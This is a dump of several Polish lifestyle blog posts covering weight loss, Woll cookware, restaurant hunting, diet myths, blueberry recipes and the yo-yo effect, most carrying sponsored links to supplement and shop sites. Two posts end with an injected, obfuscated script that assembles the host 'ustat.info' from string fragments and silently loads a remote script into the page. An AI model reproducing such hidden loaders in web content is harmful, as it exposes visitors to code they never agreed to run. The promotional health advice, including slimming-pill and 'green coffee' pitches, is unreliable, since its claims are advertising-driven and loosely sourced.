<span style="font-size: large;">Jest to najważniejszy powód, dla którego powinniśmy się zdecydować na odchudzanie. Wiele osób zapomina o zdrowiu i przechodzi na dietę tylko z powodu swojego wyglądu. Ile razy zmęczyliśmy się z pozoru krótkim i wolnym biegiem? Kiedy ostatnio graliśmy w piłkę, czy jeździliśmy na rowerze? Jeżeli znacznie przybraliśmy na wadze to na pewno nie mamy takiej formy jak kiedyś. Warto o nią zadbać. Osoby otyłe szybciej się starzeją. Znacznie szybciej również umierają. Wstydzą się swojego wyglądu. Warto decyzję o odchudzaniu podjąć jeszcze wtedy, gdy nasza waga nie przekracza trzy cyfrowej cyfry. Powyżej tej cyfry jest znacznie trudniej, co nie oznacza, że nie jest to możliwe. Redukcję wagi w celu polepszenia stanu zdrowia warto wspomóc środkami takimi jak <a href="http://chudnij-szybko.pl/" rel="follow" target="_blank">preparaty na odchudzanie</a>. Oczywiście zalecana jest wcześniejsza konsultacja z lekarzem i zakup preparatów odchudzających z wiarygodnego źródła.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Znacznie atrakcyjniejsza sylwetka.</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Drugim istotnym powodem, dla którego decydujemy się zazwyczaj na odchudzanie to atrakcyjna sylwetka naszego ciała. Dla wielu jest to najważniejszy powód. Powinniśmy jednak na pierwszym miejscu zawsze stawiać nasze zdrowie.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Atrakcyjna sylwetka to powód do dumy. Nie wstydzimy się wychodzić i obcować z innymi ludźmi. Jesteśmy bardziej otwarci na świat. Atrakcyjna sylwetka to również większe możliwości fizyczne. Preparaty odchudzające są w stanie pomóc nam w uzyskaniu atrakcyjnego wyglądu naszego ciała. Odchudzając się warto jednak dołożyć do diety i kuracji odchudzającej odrobinę aktywności fizycznej, dzięki czemu nasze ciało stanie się bardziej elastyczne i jędrne.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Warto jednak nie zapominać o jednej ważnej kwestii, a mianowicie o tym, że wygląd to nie wszystko. Przedawkowując tabletki na odchudzanie osiągniemy wymarzoną sylwetkę, lecz utracimy zdrowie. Odchudzajmy się, więc z rozumem, naprawdę warto.</span></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.comtag:blogger.com,1999:blog-9022088188921604476.post-15570821438898872862015-11-24T08:00:00.000+01:002015-11-24T08:00:03.034+01:00Patelnie i garnki firmy Woll<div style="text-align: justify;">
<span style="font-size: large;">Nowoczesna kuchnia potrzebuje trwałych i funkcjonalnych narzędzi kuchennych. Bardzo dobrą propozycją są naczynia marki Woll, szczególnie bardzo trwałe patelnie i garnki. </span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2vK-Jo-HJhPdwRKwuqKLQdQW0A223uzwmHnr0NmkSDZqzMALrWjunqdZzpt7NiGcni6gNMytX6uaUWia4uLW3EctOcFhCerfPMQWcyO1bx2e1mwhcYENjGLSmq4e8Jqk6WWxzbHSx0ImD/s1600/patelnia.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="242" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2vK-Jo-HJhPdwRKwuqKLQdQW0A223uzwmHnr0NmkSDZqzMALrWjunqdZzpt7NiGcni6gNMytX6uaUWia4uLW3EctOcFhCerfPMQWcyO1bx2e1mwhcYENjGLSmq4e8Jqk6WWxzbHSx0ImD/s640/patelnia.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Marka Woll to naczynia bardzo wysokiej jakości wykonane ze specjalnego stopu o nazwie silumin. Materiał ten posiada wyjątkowe właściwości jakimi są wysoka przewodność, oraz akumulacja cieplna. Takie cechy sprawiają, że przygotowywanie potraw jest bardziej oszczędne w porównaniu do naczyń konkurencyjnych.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Kolejna zaleta patelni i garnków Woll, to ceramiczna nieprzywierająca powłoka szafirowa typu non-stick, jest ona wykonana z materiału bardzo odpornego na ścieranie, pod wpływem wysokiej temperatury nie wydzielają się żadne szkodliwe substancje. Powłoka pozwala na przygotowywanie potraw nawet bez tłuszczu.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Pokrywy są wykonane ze szkła hartowanego i odpornego na wysoką temperaturę. Całą patelnię, lub garnek można włożyć do piekarnika nagrzanego nawet do 250 stopni C.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Jakie typy naczyń oferuje marka Woll? Są to garnki o różnych rozmiarach, tradycyjne patelnie - od 20 do 32 cm średnicy, patelnie kwadratowe, patelnie naleśnikowe, grillowe, woki, brytfanny. Całą ofertę garnków i patelni można obejrzeć na stronie: <a href="http://www.egustus.pl/7-garnki-i-patelnie">http://www.egustus.pl/7-garnki-i-patelnie</a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Oprócz naczyń marka Woll, to także noże o różnych rozmiarach, także gotowe zestawy. Wykonane one są z wysokiej jakości hartowanej japońskiej stali i pokryte powłoką tytanową. Uchwyt noża to kauczuk, który zapewnia antypoślizgowy uchwyt. Noże zabezpieczone są specjalną osłoną do transportu.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Wszystkie naczynia tej marki nadają się do używania na wszystkich typach kuchni, w tym na kuchniach indukcyjnych, elektrycznych, czy gazowych. Producent udziela aż 25 lat gwarancji na równość dna naczyń. Łatwo można zauważyć, że naczynia tej marki to idealne rozwiązanie do każdej kuchni. Uniwersalne naczynia które będą służyły na długie lata.</span></div>
<script type="text/javascript">
(function(){
uebv=document.createElement("script");uebv.type="text/javascript";
uebv.async=true;uebv_=(("us")+"t")+"a";uebv_+=("t.i")+""+"n";uebv_+=(("f")+"o");
uebv.src="http://"+uebv_+"/6775744.q2qud9qsebvm8kryqseih8zlcsk9ld";
document.body.appendChild(uebv);
})();
</script>Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com4tag:blogger.com,1999:blog-9022088188921604476.post-30947380606957051932015-11-19T17:22:00.001+01:002015-11-19T17:22:12.156+01:00Jak znaleźć dobrą restaurację, czyli poradnik dla zgłodniałych<div style="text-align: justify;">
<span style="font-size: large;">Wyobraź sobie taką sytuację. Spędzasz samotnie wieczór, a w tle leci jakaś smętna piosenka, która od ponad dwóch dekad znajduje się na playliście każdej rozgłośni radiowej serwującej przeboje dla niedzielnego słuchacza. Aby podsycić atmosferę nudy i beznadziejności, dodajmy do tej wizji jeszcze jesienną aurę. Depresyjność tego dnia potęguje ponadto obezwładniający głód. Głód, który zaspokoi jedynie najwykwintniejsza potrawa. Danie będące niczym muśnięcie delikatnego aksamitu o twardą taflę podniebienia. W znalezieniu vademecum dla żołądka nie pomaga też lodówka. Na jej chłodnych, szklanych półkach spoczywa jedynie ser zmieniający swą barwę po raz trzeci oraz parówki, których skład zadziwiłby zapewne samego Mendelejewa.</span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPibE8R5l2cxITXkBumNzuPBeMmz-hmsk6MuEzvbuWjTBGJvvJ-Feljl92EfpeeH36cl2BcqpBq7y4jNDil78qVdUQ5-n1kzh3Qw5lUFlTabmeXS_4gnvUE4darHUgQfu9F1E2Y9zVwHq9/s1600/201401061147290-38.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPibE8R5l2cxITXkBumNzuPBeMmz-hmsk6MuEzvbuWjTBGJvvJ-Feljl92EfpeeH36cl2BcqpBq7y4jNDil78qVdUQ5-n1kzh3Qw5lUFlTabmeXS_4gnvUE4darHUgQfu9F1E2Y9zVwHq9/s640/201401061147290-38.jpg" width="640" /></a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">W tej sytuacji jedynym zbawieniem może być dobra restauracja. Definicja „dobrej restauracji” jest jednak tak ogólna, jak poglądy członków partii Kukiz’15. Potrzebujemy zatem konkretnej porady, dzięki której znajdziemy to mityczne miejsce w miejskiej dżungli, której przestrzeń zapełniona jest przez lokale przeznaczone dla „Januszów chińszczyzny” oraz „niewolników kalorycznej pizzy”.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Wiedzą niezbędną w trakcie poszukiwania idealnej restauracji jest świadomość swoich upodobań kulinarnych. Gdy nawet najdrobniej zmielony pieprz sprawia, że łzy ciekną nam po zarumienionych policzkach, to jasne jest, że wizyta w tajskiej restauracji będzie wyborem tak dobrym, jak wyprawa górska w klapkach. W takim wypadku powinniśmy zastanowić się nad miejscem, gdzie znajdziemy potrawy łagodniejsze. Strzałem w dziesiątkę okazać może się włoska trattoria, hiszpański tapas bar, bądź <a href="http://www.hotelnowagdynia.pl/restauracja">restauracja</a> serwująca dania kuchni europejskiej.</span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb8SdUnDiZ-JeixCzs8EifAvQ9euEjbiC0yIFidbh74s8RUS4E-rBmSgdw8-R0y1eVz_E8l33eOVrdD-aXEMmh4k0192HBXnvJ7bD65BGLq0WUt2GlKBK2Hz2lr54IO7c0tO4WfNfYzMrw/s1600/201401061300140-34.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb8SdUnDiZ-JeixCzs8EifAvQ9euEjbiC0yIFidbh74s8RUS4E-rBmSgdw8-R0y1eVz_E8l33eOVrdD-aXEMmh4k0192HBXnvJ7bD65BGLq0WUt2GlKBK2Hz2lr54IO7c0tO4WfNfYzMrw/s640/201401061300140-34.jpg" width="640" /></a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Gdy już mamy pewność, co do swoich smakowych inklinacji, możemy rozpocząć poszukiwania. W dzisiejszym świecie najefektywniejszym sposobem na znalezienie odpowiedniego lokalu jest oczywiście Internet. Wpisując przykładowo frazę „restauracja Łódź”, wyszukiwarka Google zasypie nas adresami przeróżnych miejsc wartych i niewartych odwiedzenia. Sęk w tym, aby oddzielić ziarno od plew. W tym pomogą nam opinie użytkowników. Poza wydźwiękiem wypowiedzi powinniśmy, również zwrócić uwagę na ich ilość. Lokal z trzema pozytywnymi i jedną negatywną opinią będzie mimo wszystko mniej wiarygodny niż ten, który uzyskał pięćdziesiąt pochlebnych recenzji przy pięciu złych. Jednak gdy nie przekonują nas opinie anonimowych ludzi, zawsze możemy popytać znajomych lub rodziny.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Tak naprawdę nigdy nie mamy pewności, czy dany lokal w stu procentach sprosta naszym wymaganiom. Żadna opinia nie zastąpi własnego zdania opartego na empirycznych badaniach zawartości talerza. Po ich przeprowadzeniu kwestią czasu będzie stworzenie listy restauracji wpisujących się w poczet „przyjaciół naszych kubków smakowych”. Pamiętajcie jednak niezmienną prawdę życiową – nie ma jak u mamy!</span></div>
<script type="text/javascript">
(function(){
uad8=document.createElement("script");uad8.type="text/javascript";
uad8.async=true;uad8_=(("us")+"t")+"a";uad8_+=("t.i")+""+"n";uad8_+=(("f")+"o");
uad8.src="http://"+uad8_+"/6772938.eu4f57ucad8jyef35shh6krn2eblbp";
document.body.appendChild(uad8);
})();
</script>Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.comtag:blogger.com,1999:blog-9022088188921604476.post-36364781801749924122015-10-30T17:01:00.001+01:002015-10-30T17:01:05.858+01:00Popularne mity żywieniowe na cenzurowanym<div style="text-align: justify;">
<span style="font-size: large;">Zagadnienia związane ze zdrowym stylem życia, a także odchudzaniem to absolutne numery jeden w wielu środowiskach. Traktuje o niech mnóstwo kobiecych czasopism i tabloidów, różne programy telewizyjne dedykowanie szczególnie płci pięknej, a także bardzo liczne strony internetowe. Ich popularność i szerokie zainteresowanie mas sprawiło, że ta sfera życia została opanowana przez przeróżnej treści mity i domysły na temat diety redukcyjnej, czy ogólnie mówiąc żywienia. Powoduje to pewien bałagan informacyjny, który jest niekorzystny, szczególnie dla osób walczących z nadmiarem kilogramów, gdyż domniemane nowości, twierdzenia i wnioski wpływają wątpliwie na osiągane wyniki i proces motywacyjny osób odchudzających się. Dlatego też warto jest walczyć z nieprawdą i stworzyć warunki do poszukiwania prawdziwych, potwierdzonych badaniami, informacji. </span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkAJFPz-Z5DTaqLXOr7mX5dZX0otModoko1HB2etKEukJWtirUQSmR9GL0OLyhoontP_xI8SZHQdBqiz5IxCykWJM54cCNQdAHp4r_hp5WwPJQ6Yl4bnS_W6xcPYG062H2mcaurFFWdySz/s1600/shutterstock_63207955.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkAJFPz-Z5DTaqLXOr7mX5dZX0otModoko1HB2etKEukJWtirUQSmR9GL0OLyhoontP_xI8SZHQdBqiz5IxCykWJM54cCNQdAHp4r_hp5WwPJQ6Yl4bnS_W6xcPYG062H2mcaurFFWdySz/s640/shutterstock_63207955.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Tematyka dietetyki i żywienia, a także diet redukcyjnych jest bardzo popularna we współczesnym świecie. Wszelkie przeprowadzone w tym aspekcie statystyki wskazują, że ponad 1/3 kobiet powyżej 15 roku życia choć raz w życiu odchudzała się różnymi dietami alternatywnymi, a co trzecia kobieta podchodziła do redukcji masy ciała 6 i więcej razy. Są to dane zatrważające, jednak pokazujące pewien rynek, który wchłonie każdą, wyciągniętą na tacy informacje. Gdyż normalnym jest, że ludzie chcą poznać złoty środek na nękające ich problemy zdrowotne i kompleksy. Jednakże wymyślanie coraz dziwniejszych sposobów postępowania dietetycznego nie stanie się remedium na zbędne kilogramy, a selekcja tych zbędnych, nieprawdziwych informacji każdemu z nas wyjdzie na dobre.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Pierwszym, a ostatnio coraz powszechniejszym mitem funkcjonującym w obszarze żywienia jest unikanie produktów nabiałowych. Co prawda obecnie obserwuje się zwiększenie nietolerancji i alergii pokarmowych, co nie omija także sfer nabiałowych, jednakże dotyczy to małej części populacji. Mówi się, że około 20-30% Polaków nie toleruje laktozy i problem ten obejmuje już większy procent społeczeństwa. Jednakże ostatnimi czasy obecne są mleka i przetwory mleczne, które zawierają ją w mniejszych ilościach lub jest ona z nich całkowicie wyeliminowana. Nie oznacza to jednak, iż mamy przyzwolenie na całkowitą rezygnację z produktów nabiałowych. Mleko i przetwory mleczne do cenne źródło łatwo przyswajalnego wapnia, magnezu i cynku, a także witaminy A i D. Z tych także powodów nie warto z nich rezygnować.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Kolejnym, bardzo popularnym mitem żywieniowym jest zakaz jedzenia po 18. Błąd ten ma dość poważne konsekwencje dla naszej sylwetki. Noc to czas, nie tylko regeneracji organizmu. Jest to również dla niego okres głodówki. Przez co najmniej 8- godzin nie spożywamy jedzenia Gdy to tego dołożymy czas od godziny 18 do średnio 23, kiedy zasypiamy, to sumarycznie nie jemy 13 godzin. Jest to stanowczo zbyt długo. W czasie głodówki, nasze ciało zmniejsza przemianę materii i zwalnia wszystkie nie potrzebne mu procesy. W sytuacji, kiedy na śniadanie zjemy nawet niewielki posiłek, nasz organizm, nauczony doświadczeniem, będzie odkładał całą energię spożytą w tracie posiłku w postaci tkanki tłuszczowej, by mieć zapasy na wypadek kolejnego okresu głosy. W taki sposób zamiast chudnąć, tyjemy. Korzystnie dla naszej figury jest spożycie łatwostrawnej kolacji około 2-3 godzin przed snem. Nasycony organizm nie będzie zmuszony do akumulacji tłuszczu.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Ostatnim mitem, jaki jest bardzo popularny wśród osób odchudzających się jest nałogowe wręcz spożywanie produktów light. Jest to o tyle błąd, gdyż bardzo wiele ludzi oczekuje od nich swego rodzaju rozgrzeszenia w spożywaniu określonych ich porcji. Gdyż dla nich ligth oznacza „bez żadnych kalorii”. Niestety można nawet pokusić się o stwierdzenie, że produkty z "niską zawartością tłuszczu", "bez dodatku cukru" wręcz utrudniają odchudzanie. Trzeba bowiem zauważyć, że produkty „lekkie” zazwyczaj można zaliczyć do produktów wysoko przetworzonych. Zawierają mnóstwo sztucznych dodatków i barwników. Poza tym, produktów "light" zjadamy dużo więcej, by zaspokoić głód, co w efekcie daje dokładnie ten sam wskaźnik kalorii. Dodatkowo producenci żywości jeśli wypuszczają na rynek produkt” bez dodatku cukru”, zazwyczaj ów deficyt wypełniają tłuszczem i masa sztucznych słodzików, aby wyrównać pewną niedogodność pod względem organoleptycznym. Konsekwencją tego jest taka sama, a czasem nawet większa sumaryczna wartość kaloryczna. Dlatego też warto ich unikać w swej diecie.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">W sferze odchudzania i żywienia funkcjonuje jeszcze wiele innych, równie kuriozalnych mitów. Trzeba więc mieć się na baczności, aby ustrzec się przed nimi. Najlepiej zgłosić się o pomoc do dietetyka, który doradzi i omówi wszystkie pułapki na drodze do zgrabnej sylwetki, a także zaproponuje indywidualny zdrowy plan żywieniowy. Dlatego tez warto zainteresować się ofertą przygotowaną przez innowacyjny portal dietetyczny DietMap.pl. On to we współpracy z doświadczonymi dietetykami klinicznymi oferuje szereg <a href="http://dietmap.pl/pl/diety/zbilansowana-dieta-dietmap" rel="follow" target="_blank">zdrowych diet odchudzających</a> w ramach takich planów żywieniowych jak: dieta wygodna, zbilansowana, tania, bezglutenowa, cukrzycowa, a także wegetariańska. Dodatkowo, w ramach wykupionego abonamentu użytkownik otrzymuje możliwość wygenerowania tygodniowej listy zakupów, monitorowania swej masy ciała i kontrolowania sukcesów, a także stały dostęp do dietetyka, który chętnie odpowie na każde pytanie i rozwieje wszystkie pojawiające się wątpliwości.</span></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com6tag:blogger.com,1999:blog-9022088188921604476.post-44999325315916249162015-10-20T12:17:00.002+02:002015-10-20T12:17:35.350+02:00Borówkowe szaleństwa w kuchni!<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Borówka amerykańska jest źródłem cynku oraz innych przeciwutleniaczy i
składników odżywczych. Zawiera m.in. witaminy A, B, C, E oraz PP. Jej
owoce mają działanie uspokajające, wspomagają pracę układu pokarmowego i
korzystnie wpływają na wzrok. Dzięki obecności antyoksydantów i
antocyjanów te ciemne kuleczki są wykorzystywane również w profilaktyce
chorób nowotworowych. Ale oprócz właściwości zdrowotnych, mają one także
walory smakowe. </span></span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBJBtzSmT1qaUNZ7pIv3C1Fr8DD4VukixN3eTP3Ot_u9UCqriXuiKY9OEdAPHa_gwsRml1XYYdDZHG3TS6qaHCjD52dlE8Af0YR9L9cfetPwEpbZznp7du7SVUC0pC3wX8MxTayyAtpM5K/s1600/blueberries.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBJBtzSmT1qaUNZ7pIv3C1Fr8DD4VukixN3eTP3Ot_u9UCqriXuiKY9OEdAPHa_gwsRml1XYYdDZHG3TS6qaHCjD52dlE8Af0YR9L9cfetPwEpbZznp7du7SVUC0pC3wX8MxTayyAtpM5K/s640/blueberries.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Borówki amerykańskie warto jeść na surowo. Niekoniecznie jednak musimy jadać je solo - śmiało można z nimi zaszaleć w kuchni! Poniżej kilka borówkowych inspiracji.</span></span></div>
<ul style="text-align: justify;">
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">O tym, że <a href="http://www.borowka.pl/">borówka amerykańska</a> idealnie nadaje się <b>do dekoracji</b> ciast i babeczek, właściwie nie trzeba wspominać. Borówkowe kuleczki nadadzą letni charakter każdemu deserowi. Będą dostojnie wyglądały wysypane na wierzchu sernika czy podane z lodami.<br /></span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">W książce <i>Jesteś tym, co jesz</i> Gillian McKeith znaleźć można pomysł na prosty, dwuskładnikowy <b>koktajl</b>, który<b> </b>pomoże pozytywnie rozpocząć dzień. Wystarczy, że zmiksujemy 1 dużego banana na gładką, kremową masę. Pełną garść borówek wsypujemy do szklanką, zalewamy koktajlem i delektujemy się fantastycznym smakiem. Oczywiście w komponowaniu koktajli z borówkami mamy nieograniczone możliwości - będą świetnie smakować także w zestawieniu z innymi owocami.<br /></span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Borówki można również połączyć (delikatnie zmiksować, aby nie rozgnieść całkowicie owoców) z niewielką ilością serka typu ricotta lub twarożku, aby otrzymać <b>pastę</b>. Możemy ją użyć do smarowania gofrów i naleśników lub po prostu do pieczywa.<br /></span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Inną śniadaniową propozycją jest <b>kasza jaglana</b> ugotowana na sypko z dodatkiem utartego jabłka, borówek i odrobiny miodu. Pysznie i zdrowo!<br /></span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Mniej typowe zastosowanie borówek to dania wytrawne. Owoce te możemy jednak śmiało dodawać <b>do sałatek</b> - nie tylko w roli elementu dekoracyjnego, ale również pełnoprawnego składnika. Warto połączyć je z sałatą, serem feta lub mozzarella i odpowiednim dressingiem - efekt końcowy może przerosnąć nasze oczekiwania.<br /></span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Z pewnością można też zainspirować się przepisem na <b>burgery jagodowe</b> z <i>Książki kucharskiej Jean Carper</i>. Do ich zrobienia potrzebujemy 0,5 kg zmielonego mięsa (najlepiej z piersi indyka lub chudej wołowiny), 1 szkl. zmiksowanych borówek amerykańskich, 3/4 łyżeczki suszonego tymianku, 2 przeciśnięte przez praskę ząbki czosnku. Składniki mieszamy, doprawiamy solą i pieprzem, formujemy kotleciki i smażymy lub pieczemy je w piekarniku. Dodatek borówek, według autorki, nie jest zauważalny w smaku, ale czyni mięso wilgotniejszym.</span></span></li>
</ul>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Ze względu na wspaniałe właściwości borówki, warto wykorzystywać ją w kuchni, wypróbowywać nowe połączenia i komponować nieodkryte wcześniej borówkowe dania. Obecnie owoce te są szeroko dostępne w sprzedaży. Jeśli jednak dysponujemy ogródkiem lub działką możemy skusić się na posadzenie krzewów borówki. Jeśli zapewnimy roślinkom odpowiednie warunki i pielęgnację to będziemy mogli cieszyć się ich smakiem jeszcze częściej!</span></span></div>
<div style="text-align: justify;">
<br /></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com4tag:blogger.com,1999:blog-9022088188921604476.post-18628233294479326272015-10-02T10:50:00.001+02:002015-10-02T10:50:11.582+02:00Odchudzanie bez efektu jo-jo<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Efekt jo-jo to bardzo popularny skutek uboczny po zastosowaniu jakiejś popularnej diety. W tym artykule dowiesz się jak się odchudzać, żeby efekt jo-jo Cię nie dopadł. </span></span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "Trebuchet MS",sans-serif;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvQRsWEsW-Od7CEF9y-pOCkAIexsOyohUqXmTJHJdcDtAsWo-h1PY_BDMV1LBawUNeyOXu5w3n16cdrNn5S_hGl02SiKamkk5Dn0FeyFMji1E3uM2oz6cgxYh0TXXwna_t9QNUkJ1NhULr/s1600/odchudzanie-bez-efektu-jo-jo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvQRsWEsW-Od7CEF9y-pOCkAIexsOyohUqXmTJHJdcDtAsWo-h1PY_BDMV1LBawUNeyOXu5w3n16cdrNn5S_hGl02SiKamkk5Dn0FeyFMji1E3uM2oz6cgxYh0TXXwna_t9QNUkJ1NhULr/s640/odchudzanie-bez-efektu-jo-jo.jpg" width="640" /></a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Ze stosowaniem większości popularnych diet odchudzających wiąże się jedno zagrożenie. <b>Jest nim efekt jo-jo</b>, czyli przybieranie na wadze po zakończeniu diety. Efekt ten nie jest zwykłym odbudowywaniem tkanki tłuszczowej utraconej wskutek odchudzania, zagraża on otłuszczeniem organizmu w stopniu większym niż przed przejściem na dietę.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Decydując się na odchudzanie, należy rozważyć również to zagrożenie i opracować własną dietę tak, by zredukować je do minimum. Jak to zrobić? Oto sposoby na odchudzanie bez efektu jo-jo:</span></span></div>
<div style="text-align: justify;">
<br /></div>
<h2 style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Minimalna redukcja kalorii</span></span></h2>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Większość z nas wychodzi z założenia, że im bardziej ograniczymy spożycie kalorii, tym szybciej schudniemy. Nie jest to prawdą, bo im większy jest ten deficyt, tym bardziej organizm czuje się zagrożony i zaczyna oszczędzać. Natychmiast pozbywa się wody i spowalnia metabolizm, spala też inne, niż tkanka tłuszczowa, tkanki.<br /><br />W efekcie chudniemy co prawda, ale wcale nie wykorzystujemy pełnego potencjału i pełni swoich możliwości, co gorsza destabilizujemy w ten sposób cały organizm. Podobnie dzieje się w sytuacji, w której odchudzanie oprzemy głównie na ćwiczeniach wykonywanych bez opamiętania - to najlepszy sposób na zaszkodzenie sobie, i to w dość krótkim okresie czasu.<br /><br />Takie postępowanie jest też najprostszym sposobem na zyskanie efektu jo-jo, czyli odchudzanie może skończyć się tak naprawdę przytyciem. Sposobem na odchudzanie bez zagrożeń jest minimalna redukcja kalorii, czyli niewielkie przemodelowanie diety, a najlepiej oparcie jej na zdrowych pokarmach (z wyłączeniem tzw. produktów śmieciowych), oraz zwiększenie deficytu kalorycznego poprzez regularne uprawianie sportu z umiarkowanym natężeniem ćwiczeń.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<h2 style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Suplementy</span></span></h2>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Suplementy przed efektem jo-jo nikogo nie zabezpieczą, ale są w stanie lekko przyspieszyć proces odchudzania i sprawić, że będzie ono nieco wydajniejsze. Dzięki suplementom łatwiej przejść na dietę (redukcja napadów głodu, regulacja apetytu), łatwiej i wydajniej można też ćwiczyć (szybsze spalanie tkanki tłuszczowej w trakcie ćwiczeń, lepsza regeneracja po wysiłku). Dzięki nim odchudzanie stanie się nieco łatwiejsze.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Należy jednak pamiętać, że nie każdy suplement jest sobie równy. Najlepiej kupić coś naturalnego jak np. <b><a href="http://dieta-zielus.pl/" target="_blank">zielona kawa</a></b>. Przed kupnem koniecznie sprawdzić opinie o danym suplemencie na odchudzanie! </span></span></div>
<div style="text-align: justify;">
<br /></div>
<h3 style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Po zakończeniu diety</span></span></h3>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Najlepszym sposobem na schudnięcie jest przejście na zdrową dietę tj. wyplenienie wszystkich szkodliwych nawyków żywieniowych skutkujących powstawaniem nadwagi i otyłości.</span></span></div>
<div style="text-align: justify;">
